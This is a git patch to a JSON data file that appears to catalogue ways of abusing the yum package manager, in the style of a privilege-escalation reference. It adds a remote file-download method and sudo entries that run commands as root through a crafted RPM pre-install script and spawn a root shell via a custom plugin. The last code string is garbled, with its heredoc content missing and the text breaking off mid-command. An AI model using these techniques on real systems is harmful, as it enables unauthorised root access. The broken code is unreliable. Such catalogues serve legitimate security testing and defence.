From 988ca04e1d6b4f00739e647acb47622516961a4d Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sat, 3 Oct 2020 17:40:27 +0200 Subject: [PATCH] add file download functionality --- data/yum.json | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/data/yum.json b/data/yum.json index 4c6961a..db817a1 100644 --- a/data/yum.json +++ b/data/yum.json @@ -1,14 +1,20 @@ { "functions": { + "file-download": [ + { + "description": "Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of '.rpm', the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in '/var/tmp', for example '/var/tmp/yum-root-cR0O4h/'.", + "code": "yum install http://[host]/[file]\n" + } + ], "sudo": [ { - "description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```", + "description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF", "code": "sudo yum localinstall -y x-1.0-1.noarch.rpm\n" }, { - "description": "Spawn interactive root shell by loading a custom plugin.\n", + "description": "Spawn interactive root shell by loading a custom plugin.", "code": "TF=$(mktemp -d)\ncat >$TF/x<$TF/y.conf<$TF/y.py<